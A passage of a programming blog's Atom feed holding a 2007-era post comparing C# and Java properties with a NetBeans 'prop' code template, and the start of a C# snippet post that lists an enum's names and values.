class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;14&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;15&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;16&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;17&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// ... &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;but in Java, that looks like:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// ...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;String&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_name&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;String&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;getName&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;this&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;_name&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;setName&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;value&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;this&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;_name&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;value&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;13&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// ... &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Wow. Extremely obnoxious. Furthermore, I have finally gotten myself broken in with the VS2005 IDE to type &lt;code&gt;&amp;quot;prop&amp;quot; + TAB&lt;/code&gt; to get a nice template for my properties. Well, since there is no such thing in Java, this macro also does not exist. So, I proceeded to make a NetBeans code template called &lt;code&gt;prop&lt;/code&gt;, which functions the same way the VS2005 &lt;code&gt;prop&lt;/code&gt; code snippet does.&lt;/p&gt;&#xA;&lt;p&gt;So, for all you C# coders who are venturing into the foreign lands of Java, here&#39;s a little tutorial on how to add this little cultural comfort into NetBeans.&lt;/p&gt;&#xA;&lt;h4 id=&#34;property-code-template-installation-instructions&#34;&gt;Property Code Template Installation Instructions:&lt;/h4&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select menu item &lt;code&gt;Tools-&amp;gt;Options&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Click on &lt;code&gt;Editor&lt;/code&gt; sidebar button.&lt;/li&gt;&#xA;&lt;li&gt;Click on &lt;code&gt;Code Templates&lt;/code&gt; tab.&lt;/li&gt;&#xA;&lt;li&gt;Select &lt;code&gt;Java&lt;/code&gt; from languages combo-box.&lt;/li&gt;&#xA;&lt;li&gt;Click &lt;code&gt;New&lt;/code&gt;, and then enter &lt;code&gt;prop&lt;/code&gt; as the Abbreviation in the dialog.&lt;/li&gt;&#xA;&lt;li&gt;Click &lt;code&gt;Ok&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Make sure &lt;code&gt;prop&lt;/code&gt; is the selected template, and in the text box below the list, enter these lines:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code&gt;```java&#xA;private ${int} ${_prop}; &#xA;&#xA;public ${int} get${Property}() {&#xA;    return this.${_prop}; &#xA;}&#xA;&#xA;public void set${Property}(${int} value) {&#xA;    this.${_prop} = value; &#xA;}&#xA;``` &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ol start=&#34;8&#34;&gt;&#xA;&lt;li&gt;Select &lt;code&gt;Tab&lt;/code&gt; from &lt;code&gt;Expand On&lt;/code&gt; combo box.&lt;/li&gt;&#xA;&lt;li&gt;Click &lt;code&gt;OK&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Now you&#39;ve got it installed... Feel free to go to the code and give it a whirl! Have a look at the other macros in the list to see what&#39;s built in, and once you figure out the syntax of the template notation, make your own templates!&lt;/p&gt;&#xA;</summary>
		<content type="html">&lt;p&gt;Well, having recently sparked an interest in moving towards a Open Source, cross platform, but still as cool as C&lt;a href=&#34;/tags//vs2005/&#34; data-hyper-mention&gt;#/VS2005&lt;/a&gt; development platform, I of course landed in the middle of NetBeans 5.5 and Java.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;Having never programmed in Java before, but understanding it&#39;s really similar to C# (or I should say C# is really similar to Java), I immediately started fiddling about as if I were writing C# code. So, it&#39;s easy to get past typing uppercase &lt;code&gt;String&lt;/code&gt;, &lt;em&gt;not lowercase&lt;/em&gt;, and also not too hard to grok &lt;code&gt;extends&lt;/code&gt; instead of &lt;code&gt;:&lt;/code&gt; for inheritance. The &lt;em&gt;one-class-per-file thing&lt;/em&gt;, well, I guess it will just make me a more organized programmer, however annoying it is. Actually, I ended up just learning to do the same thing in C#, which has really been better...&lt;/p&gt;&#xA;&lt;p&gt;But, the things that really erked me was properties.&lt;/p&gt;&#xA;&lt;p&gt;In C# I can do this:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Name&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;get&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;this&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;_name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;set&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;13&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;this&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;_name&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;value&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;14&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;15&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;16&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;17&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// ... &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;but in Java, that looks like:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// ...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;String&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_name&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;String&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;getName&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;this&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;_name&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;setName&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;value&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;this&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;_name&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;value&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;13&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// ... &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Wow. Extremely obnoxious. Furthermore, I have finally gotten myself broken in with the VS2005 IDE to type &lt;code&gt;&amp;quot;prop&amp;quot; + TAB&lt;/code&gt; to get a nice template for my properties. Well, since there is no such thing in Java, this macro also does not exist. So, I proceeded to make a NetBeans code template called &lt;code&gt;prop&lt;/code&gt;, which functions the same way the VS2005 &lt;code&gt;prop&lt;/code&gt; code snippet does.&lt;/p&gt;&#xA;&lt;p&gt;So, for all you C# coders who are venturing into the foreign lands of Java, here&#39;s a little tutorial on how to add this little cultural comfort into NetBeans.&lt;/p&gt;&#xA;&lt;h4 id=&#34;property-code-template-installation-instructions&#34;&gt;Property Code Template Installation Instructions:&lt;/h4&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select menu item &lt;code&gt;Tools-&amp;gt;Options&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Click on &lt;code&gt;Editor&lt;/code&gt; sidebar button.&lt;/li&gt;&#xA;&lt;li&gt;Click on &lt;code&gt;Code Templates&lt;/code&gt; tab.&lt;/li&gt;&#xA;&lt;li&gt;Select &lt;code&gt;Java&lt;/code&gt; from languages combo-box.&lt;/li&gt;&#xA;&lt;li&gt;Click &lt;code&gt;New&lt;/code&gt;, and then enter &lt;code&gt;prop&lt;/code&gt; as the Abbreviation in the dialog.&lt;/li&gt;&#xA;&lt;li&gt;Click &lt;code&gt;Ok&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Make sure &lt;code&gt;prop&lt;/code&gt; is the selected template, and in the text box below the list, enter these lines:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code&gt;```java&#xA;private ${int} ${_prop}; &#xA;&#xA;public ${int} get${Property}() {&#xA;    return this.${_prop}; &#xA;}&#xA;&#xA;public void set${Property}(${int} value) {&#xA;    this.${_prop} = value; &#xA;}&#xA;``` &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ol start=&#34;8&#34;&gt;&#xA;&lt;li&gt;Select &lt;code&gt;Tab&lt;/code&gt; from &lt;code&gt;Expand On&lt;/code&gt; combo box.&lt;/li&gt;&#xA;&lt;li&gt;Click &lt;code&gt;OK&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Now you&#39;ve got it installed... Feel free to go to the code and give it a whirl! Have a look at the other macros in the list to see what&#39;s built in, and once you figure out the syntax of the template notation, make your own templates!&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>Code Snippet: ListEnum</title>
		<id>https://blog.thoward37.me/articles/code-snippet-listenum</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/code-snippet-listenum" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/code-snippet-listenum" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/code-snippet-listenum" type="text/html"></link>
		<published>2007-02-16T05:45:00+00:00</published>
		<updated>2007-02-16T05:45:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;Sometimes you want to list an &lt;code&gt;Enum&lt;/code&gt; and see what it&#39;s actual numeric values are...&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;Well sometimes &lt;em&gt;I&lt;/em&gt; do anyway, and when I do, I use:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;static&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ListEnum&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Type&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_enum&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;enum &amp;#34;&lt;/span&gt; &lt;span class=&#34;err&#34;&gt;\&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_enum&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;{&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;foo&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Enum&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;GetNames&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;_enum&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;n&#34;&gt;Array&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;bar&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Enum&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;GetValues&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;_enum&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;m&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;foo&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Length&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;++)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;foo&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34; = &amp;#34;&lt;/span&gt; &lt;span class=&#34;err&#34;&gt;\&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;+&lt;/span&gt; &lt;span 